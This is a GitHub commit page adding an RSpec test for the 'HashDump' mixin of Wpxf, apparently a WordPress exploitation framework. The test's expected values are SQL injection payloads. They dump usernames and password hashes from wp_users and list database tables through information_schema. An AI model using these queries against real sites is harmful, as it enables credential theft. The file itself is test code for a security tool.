Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit cf13c33

Browse files
committed
Add HashDump mixin spec
1 parent d6ef93c commit cf13c33

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed

spec/wordpress/hash_dump_spec.rb

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# frozen_string_literal: true
2+
3+
require_relative '../spec_helper'
4+
5+
describe Wpxf::WordPress::HashDump do
6+
let(:subject) do
7+
Class.new(Wpxf::Module) do
8+
include Wpxf::WordPress::HashDump
9+
end.new
10+
end
11+
12+
describe '#new' do
13+
it 'registers the export_path option' do
14+
expect(subject.get_option('export_path')).to_not be_nil
15+
end
16+
end
17+
18+
describe '#export_path' do
19+
it 'returns the value of the export_path option' do
20+
subject.set_option_value('export_path', '/path/to/export')
21+
expect(subject.export_path).to eq '/path/to/export'
22+
end
23+
end
24+
25+
describe '#hashdump_sql_statement' do
26+
it 'returns a select statement that will select all user hashes' do
27+
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
28+
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
29+
allow(subject).to receive(:table_prefix).and_return('wp_')
30+
allow(subject).to receive(:bof_token).and_return(123)
31+
allow(subject).to receive(:eof_token).and_return(321)
32+
33+
expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users'
34+
expect(subject.hashdump_sql_statement).to eq expected_query
35+
end
36+
end
37+
38+
describe '#hashdump_prefix_fingerprint_statement' do
39+
it 'returns a select statement that will select all table names in the current database' do
40+
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
41+
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
42+
allow(subject).to receive(:bof_token).and_return(123)
43+
allow(subject).to receive(:eof_token).and_return(321)
44+
45+
expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database()'
46+
expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query
47+
end
48+
end
49+
end

0 commit comments

Comments
 (0)